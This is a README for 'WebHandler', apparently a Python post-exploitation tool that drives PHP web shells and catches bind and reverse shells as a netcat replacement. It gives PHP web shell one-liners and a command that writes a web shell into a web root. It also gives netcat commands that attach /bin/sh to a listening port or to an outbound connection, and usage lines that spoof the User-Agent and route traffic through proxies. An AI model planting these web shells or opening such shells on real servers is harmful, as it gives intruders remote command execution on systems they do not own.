WebHandler

A handler for PHP system functions & also an alternative 'netcat' handler

Info

WebHandler tries to simulate a 'Linux bash prompt' to handle and process:

- PHP program execution functions _(e.g. `system`, `passthru`, `exec`, etc)_
- Bind shell connections
- Reserve shell connections

Another feature is to spoof the "User-Agent" field in the HTTP header. (--random-angent).

It also supports HTTP proxies (--proxy http://<ip>:<port>)

• WebHandler works for POST and GET requests:

  • <?php system($_GET['cmd']); ?>
  • <?php passthru($_REQUEST['cmd']); ?>
  • <?php echo exec($_POST['cmd']); ?>

• WebHandler is a replacement for netcat connections.

  A example bind connection (e.g. nc -lvvp 1234 -e /bin/sh)

  Normally the user would do:

  • netcat -l -p 1234
  • nc -lvvp 1234

  A example reverse connection (e.g. nc 127.0.0.1 4321 -e /bin/sh)

  Normally the user would do:

  • netcat -l -p 4321
  • nc -lvvp 4321

Usage

• --Example file:

  • echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php

• --url is a required argument when sending either GET or POST requests (e.g. a bind 'web based PHP' connection):

  • python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=
  • python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmd
  • python webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbo
  • python webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080

• --listen is a required argument when working waiting connection (e.g. a reverse 'raw' connection):

  • python webhandler.py --listen 1234
